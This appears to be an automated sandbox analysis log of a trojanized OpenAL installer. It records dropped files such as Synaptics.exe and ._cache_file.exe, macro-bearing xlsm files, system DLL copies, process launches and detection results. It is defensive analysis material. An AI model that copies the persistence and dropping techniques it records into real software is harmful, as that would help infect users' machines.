Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpBBC.tmp	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.new	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.new	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\OpenAL32.new	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\wrap_oal.new	Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

File deleted: C:\Windows\SysWOW64\tmpB6D.tmp

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_3_007CA152	2_3_007CA152
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004096A6	2_2_004096A6
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00412845	2_2_00412845
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004170CF	2_2_004170CF
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00415157	2_2_00415157
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004159FE	2_2_004159FE
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0041622A	2_2_0041622A
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00407BE7	2_2_00407BE7
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00415E0A	2_2_00415E0A
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0041562A	2_2_0041562A
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0040C6E8	2_2_0040C6E8
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00408690	2_2_00408690
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004037BC	2_2_004037BC

Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: tT5VZoGH.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: String function: 00408600 appears 57 times
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: String function: 004074E6 appears 36 times

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 14564

Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: file.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXF93C.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: wrap_oal.new.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: wrap_oal.new0.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: file.exe, 00000000.00000000.2129266692.000000000057B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: file.exe, 00000000.00000000.2129266692.000000000057B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.2136474198.0000000000810000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.2136052726.00000000040A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs file.exe
Source: file.exe, 00000000.00000003.2137676643.000000000078A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: file.exe, 00000000.00000003.2137676643.000000000078A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe, 00000000.00000003.2137676643.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2218075867.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2218075867.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllN vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2185379513.0000000002341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllN vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2183904417.00000000023BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2183776647.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2184021142.0000000002341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2185066858.00000000023BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: ._cache_file.exe, 00000002.00000000.2134675399.00000000004C3000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2184891778.00000000007EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2218221262.0000000002340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: ._cache_file.exe, 00000002.00000002.2218221262.0000000002340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllN vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2184308603.0000000002341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllN vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2185379513.00000000023BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllN vs file.exe
Source: ._cache_file.exe, 00000002.00000003.2185066858.0000000002341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOpenAL32.dllX vs file.exe
Source: file.exe	Binary or memory string: OriginalFileName vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameb! vs file.exe
Source: ._cache_file.exe.0.dr	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe
Source: ._cache_file.exe.2.dr	Binary or memory string: OriginalFilenameoalinst.exeB vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@10/84@15/3

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_00401140 _strncpy,LockResource,_malloc,_fwrite,MoveFileExA,

2_2_00401140

Source: C:\Users\user\Desktop\._cache_file.exe

File created: C:\Program Files (x86)\OpenAL

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Desktop\._cache_file.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5484
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\tT5VZoGH.xlsm

Jump to behavior

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXF93C.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: /nu	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: /nU	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: /Nu	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: /NU	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: -nu	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: -nU	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: -Nu	2_2_00402680
Source: C:\Users\user\Desktop\._cache_file.exe	Command line argument: -NU	2_2_00402680

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 94%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 14564
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\Xv2Ho1d.ini

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_file.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: file.exe

Static file information: File size 1581056 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\Win32\wrap_oal.pdbd source: ._cache_file.exe, 00000002.00000003.2184308603.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\x64\wrap_oal.pdbx source: ._cache_file.exe, 00000002.00000003.2185379513.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\x64\OpenAL32.pdb! source: ._cache_file.exe, 00000002.00000003.2185066858.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\Win32\wrap_oal.pdb source: ._cache_file.exe, 00000002.00000003.2184308603.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\EAX\OpenAL\OpenALWrapper\OpenAL32\Release\x64\wrap_oal.pdb source: ._cache_file.exe, 00000002.00000003.2185379513.0000000002341000.00000004.00000020.00020000.00000000.sdmp, wrap_oal.new0.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\Win32\OpenAL32.pdb source: ._cache_file.exe, 00000002.00000003.2184021142.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new.2.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Installer\Release\oalinst.pdb source: file.exe, ._cache_file.exe.0.dr, tmpB6D.tmp.2.dr, tmpBBC.tmp.2.dr, ._cache_file.exe.2.dr, Synaptics.exe.0.dr
Source:	Binary string: c:\cbs\build\ec922632-90cb-1015-8202-b7f05167b5ef\in\CTSDK\AL_Router\Release\x64\OpenAL32.pdb source: ._cache_file.exe, 00000002.00000003.2185066858.0000000002341000.00000004.00000020.00020000.00000000.sdmp, OpenAL32.new0.2.dr

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_0040F141 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer,

2_2_0040F141

Source: wrap_oal.new0.2.dr

Static PE information: section name: TEXT

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_3_007D3249 push es; iretd	2_3_007D3250
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_3_007D3247 push es; retf	2_3_007D3248
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_3_007D30FA push es; ret	2_3_007D3238
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_00408645 push ecx; ret	2_2_00408658

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Program Files (x86)\OpenAL\._cache_file.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpBBC.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpB6D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Desktop\._cache_file.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCXF93C.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\wrap_oal.dll (copy)	Jump to dropped file
